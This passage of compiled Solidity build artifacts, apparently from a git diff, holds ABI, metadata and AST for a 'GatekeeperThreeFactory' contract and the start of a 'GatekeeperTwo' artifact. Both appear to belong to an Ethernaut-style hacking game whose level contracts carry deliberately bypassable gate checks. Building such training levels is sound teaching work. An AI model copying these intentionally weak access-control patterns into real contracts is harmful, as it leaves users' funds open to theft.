;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;164:199:84;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;164:199:84;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;369:222:84;;;;;;;;;;-1:-1:-1;369:222:84;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;369:222:84;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;164:199:84:-;238:7;274:24;301:21;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;274:48:84;164:199;-1:-1:-1;;;164:199:84:o;369:222::-;469:4;485:24;528:9;485:53;;577:7;-1:-1:-1;;;;;555:29:84;:8;-1:-1:-1;;;;;555:16:84;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;555:29:84;;;369:222;-1:-1:-1;;;;369:222:84:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1707:2:155;2161:73:23::1;::::0;::::1;1689:21:155::0;1746:2;1726:18;;;1719:30;1785:34;1765:18;;;1758:62;1856:8;1836:18;;;1829:36;1882:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2114:2:155;1414:68:23;;;2096:21:155;;;2133:18;;;2126:30;2192:34;2172:18;;;2165:62;2244:18;;1414:68:23;1912:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:251::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;1420:9;1414:16;1439:31;1464:5;1439:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GatekeeperThreeFactory.sol\":\"GatekeeperThreeFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/GatekeeperThree.sol\":{\"keccak256\":\"0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5\",\"dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P\"]},\"src/levels/GatekeeperThreeFactory.sol\":{\"keccak256\":\"0x7e4586b97361a54696d955c052ea34ad8f25c008bd79848e229950bec5041159\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6725474b1643e8d7284cf02d2be72a78f939ac5b85d8e55ba4f108a59144e8a1\",\"dweb:/ipfs/QmQQozmRDdg4MJDHDAhMaRcAWHcTTrpro7Dftmdz3S4pJH\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GatekeeperThreeFactory.sol":"GatekeeperThreeFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/GatekeeperThree.sol":{"keccak256":"0x4de27d7258584b756d8b80426b809f06342c1563140841074e09df9c0500ad67","urls":["bzz-raw://f028804d6f3cbf63d4116b27cc1bc24c6e85d7699a7b4aa80a956d7725f70da5","dweb:/ipfs/QmWApv9aSZwPx95z85E11SQRnE4R5jB7tEqWDYiyxhfV7P"],"license":"MIT"},"src/levels/GatekeeperThreeFactory.sol":{"keccak256":"0x7e4586b97361a54696d955c052ea34ad8f25c008bd79848e229950bec5041159","urls":["bzz-raw://6725474b1643e8d7284cf02d2be72a78f939ac5b85d8e55ba4f108a59144e8a1","dweb:/ipfs/QmQQozmRDdg4MJDHDAhMaRcAWHcTTrpro7Dftmdz3S4pJH"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GatekeeperThreeFactory.sol","id":52926,"exportedSymbols":{"Context":[48281],"GatekeeperThree":[52870],"GatekeeperThreeFactory":[52925],"Level":[55508],"Ownable":[46700],"SimpleTrick":[52742]},"nodeType":"SourceUnit","src":"32:562:84","nodes":[{"id":52872,"nodeType":"PragmaDirective","src":"32:23:84","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52873,"nodeType":"ImportDirective","src":"57:26:84","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":52926,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":52874,"nodeType":"ImportDirective","src":"84:31:84","nodes":[],"absolutePath":"src/levels/GatekeeperThree.sol","file":"./GatekeeperThree.sol","nameLocation":"-1:-1:-1","scope":52926,"sourceUnit":52871,"symbolAliases":[],"unitAlias":""},{"id":52925,"nodeType":"ContractDefinition","src":"117:476:84","nodes":[{"id":52900,"nodeType":"FunctionDefinition","src":"164:199:84","nodes":[],"body":{"id":52899,"nodeType":"Block","src":"247:116:84","nodes":[],"statements":[{"expression":{"id":52884,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52878,"src":"257:7:84","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52885,"nodeType":"ExpressionStatement","src":"257:7:84"},{"assignments":[52888],"declarations":[{"constant":false,"id":52888,"mutability":"mutable","name":"instance","nameLocation":"290:8:84","nodeType":"VariableDeclaration","scope":52899,"src":"274:24:84","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"},"typeName":{"id":52887,"nodeType":"UserDefinedTypeName","pathNode":{"id":52886,"name":"GatekeeperThree","nameLocations":["274:15:84"],"nodeType":"IdentifierPath","referencedDeclaration":52870,"src":"274:15:84"},"referencedDeclaration":52870,"src":"274:15:84","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"visibility":"internal"}],"id":52893,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":52891,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"301:19:84","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_GatekeeperThree_$52870_$","typeString":"function () returns (contract GatekeeperThree)"},"typeName":{"id":52890,"nodeType":"UserDefinedTypeName","pathNode":{"id":52889,"name":"GatekeeperThree","nameLocations":["305:15:84"],"nodeType":"IdentifierPath","referencedDeclaration":52870,"src":"305:15:84"},"referencedDeclaration":52870,"src":"305:15:84","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}}},"id":52892,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"301:21:84","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"nodeType":"VariableDeclarationStatement","src":"274:48:84"},{"expression":{"arguments":[{"id":52896,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52888,"src":"347:8:84","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}],"id":52895,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"339:8:84","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":52894,"name":"address","nodeType":"ElementaryTypeName","src":"339:8:84","stateMutability":"payable","typeDescriptions":{}}},"id":52897,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"339:17:84","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"functionReturnParameters":52883,"id":52898,"nodeType":"Return","src":"332:24:84"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"173:14:84","overrides":{"id":52880,"nodeType":"OverrideSpecifier","overrides":[],"src":"220:8:84"},"parameters":{"id":52879,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52878,"mutability":"mutable","name":"_player","nameLocation":"196:7:84","nodeType":"VariableDeclaration","scope":52900,"src":"188:15:84","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52877,"name":"address","nodeType":"ElementaryTypeName","src":"188:7:84","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"187:17:84"},"returnParameters":{"id":52883,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52882,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52900,"src":"238:7:84","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52881,"name":"address","nodeType":"ElementaryTypeName","src":"238:7:84","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"237:9:84"},"scope":52925,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":52924,"nodeType":"FunctionDefinition","src":"369:222:84","nodes":[],"body":{"id":52923,"nodeType":"Block","src":"475:116:84","nodes":[],"statements":[{"assignments":[52912],"declarations":[{"constant":false,"id":52912,"mutability":"mutable","name":"instance","nameLocation":"501:8:84","nodeType":"VariableDeclaration","scope":52923,"src":"485:24:84","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"},"typeName":{"id":52911,"nodeType":"UserDefinedTypeName","pathNode":{"id":52910,"name":"GatekeeperThree","nameLocations":["485:15:84"],"nodeType":"IdentifierPath","referencedDeclaration":52870,"src":"485:15:84"},"referencedDeclaration":52870,"src":"485:15:84","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"visibility":"internal"}],"id":52916,"initialValue":{"arguments":[{"id":52914,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52902,"src":"528:9:84","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52913,"name":"GatekeeperThree","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52870,"src":"512:15:84","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperThree_$52870_$","typeString":"type(contract GatekeeperThree)"}},"id":52915,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"512:26:84","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"nodeType":"VariableDeclarationStatement","src":"485:53:84"},{"expression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52921,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":52917,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52912,"src":"555:8:84","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperThree_$52870","typeString":"contract GatekeeperThree"}},"id":52918,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"564:7:84","memberName":"entrant","nodeType":"MemberAccess","referencedDeclaration":52746,"src":"555:16:84","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":52919,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"555:18:84","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":52920,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52904,"src":"577:7:84","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"555:29:84","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":52909,"id":52922,"nodeType":"Return","src":"548:36:84"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"378:16:84","overrides":{"id":52906,"nodeType":"OverrideSpecifier","overrides":[],"src":"451:8:84"},"parameters":{"id":52905,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52902,"mutability":"mutable","name":"_instance","nameLocation":"411:9:84","nodeType":"VariableDeclaration","scope":52924,"src":"395:25:84","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":52901,"name":"address","nodeType":"ElementaryTypeName","src":"395:15:84","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":52904,"mutability":"mutable","name":"_player","nameLocation":"430:7:84","nodeType":"VariableDeclaration","scope":52924,"src":"422:15:84","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52903,"name":"address","nodeType":"ElementaryTypeName","src":"422:7:84","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"394:44:84"},"returnParameters":{"id":52909,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52908,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52924,"src":"469:4:84","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52907,"name":"bool","nodeType":"ElementaryTypeName","src":"469:4:84","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"468:6:84"},"scope":52925,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":52875,"name":"Level","nameLocations":["152:5:84"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"152:5:84"},"id":52876,"nodeType":"InheritanceSpecifier","src":"152:5:84"}],"canonicalName":"GatekeeperThreeFactory","contractDependencies":[52870],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52925,55508,46700,48281],"name":"GatekeeperThreeFactory","nameLocation":"126:22:84","scope":52926,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":84} \ No newline at end of file diff --git a/contracts/out/GatekeeperTwo.sol/GatekeeperTwo.json b/contracts/out/GatekeeperTwo.sol/GatekeeperTwo.json new file mode 100644 index 000000000..07fc6e212 --- /dev/null +++ b/contracts/out/GatekeeperTwo.sol/GatekeeperTwo.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"enter","inputs":[{"name":"_gateKey","type":"bytes8","internalType":"bytes8"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"entrant","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506101c98061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b61004636600461014d565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b333b80156100bc575f80fd5b6040516bffffffffffffffffffffffff193360601b166020820152839067ffffffffffffffff9060c083901c906034016040516020818303038152906040528051906020012060c01c1867ffffffffffffffff1614610119575f80fd5b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001632179055600192505050919050565b5f6020828403121561015d575f80fd5b81357fffffffffffffffff0000000000000000000000000000000000000000000000008116811461018c575f80fd5b939250505056fea2646970667358221220f0c394b0333446b0b08bc05053c1bb70424d437a2253ebf9d0f385deeec33e7264736f6c63430008180033","sourceMap":"57:620:85:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b61004636600461014d565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b333b80156100bc575f80fd5b6040516bffffffffffffffffffffffff193360601b166020820152839067ffffffffffffffff9060c083901c906034016040516020818303038152906040528051906020012060c01c1867ffffffffffffffff1614610119575f80fd5b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001632179055600192505050919050565b5f6020828403121561015d575f80fd5b81357fffffffffffffffff0000000000000000000000000000000000000000000000008116811461018c575f80fd5b939250505056fea2646970667358221220f0c394b0333446b0b08bc05053c1bb70424d437a2253ebf9d0f385deeec33e7264736f6c63430008180033","sourceMap":"57:620:85:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;528:147;;;;;;:::i;:::-;;:::i;:::-;;;516:14:155;;509:22;491:41;;479:2;464:18;528:147:85;;;;;;;;86:22;;;;;;;;;;;;719:42:155;707:55;;;689:74;;677:2;662:18;86:22:85;543:226:155;528:147:85;612:4;166:9;152:10;:23;144:32;;;;;;288:8:::1;276:21;324:6:::0;;316:15:::1;;;::::0;::::1;;433:28:::2;::::0;-1:-1:-1;;450:10:85::2;923:2:155::0;919:15;915:53;433:28:85::2;::::0;::::2;903:66:155::0;593:8:85;;487:16:::2;::::0;467::::2;::::0;;::::2;::::0;985:12:155;;433:28:85::2;;;;;;;;;;;;423:39;;;;;;409:55;;:74;:94;;;401:103;;;::::0;::::2;;628:7:::3;:19:::0;;;::::3;638:9;628:19;::::0;;;;-1:-1:-1;341:1:85::2;219:130:::1;528:147:::0;;;:::o;14:332:155:-;72:6;125:2;113:9;104:7;100:23;96:32;93:52;;;141:1;138;131:12;93:52;180:9;167:23;230:66;223:5;219:78;212:5;209:89;199:117;;312:1;309;302:12;199:117;335:5;14:332;-1:-1:-1;;;14:332:155:o","linkReferences":{}},"methodIdentifiers":{"enter(bytes8)":"3370204e","entrant()":"9db31d77"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"bytes8\",\"name\":\"_gateKey\",\"type\":\"bytes8\"}],\"name\":\"enter\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"entrant\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GatekeeperTwo.sol\":\"GatekeeperTwo\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/GatekeeperTwo.sol\":{\"keccak256\":\"0x8ead9cd2035c04cc27a3e58f4d0c2b67279668354f87ebfccd0bec8580b9b2f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://32a70f3e50165369d1febe0fb8f748cb83616fec2cecf76062dcf6b758331a92\",\"dweb:/ipfs/Qmd6cEi9rVPF2JRFAc97xmAoTe4Fv5HecERQuhjaYUpHsd\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"bytes8","name":"_gateKey","type":"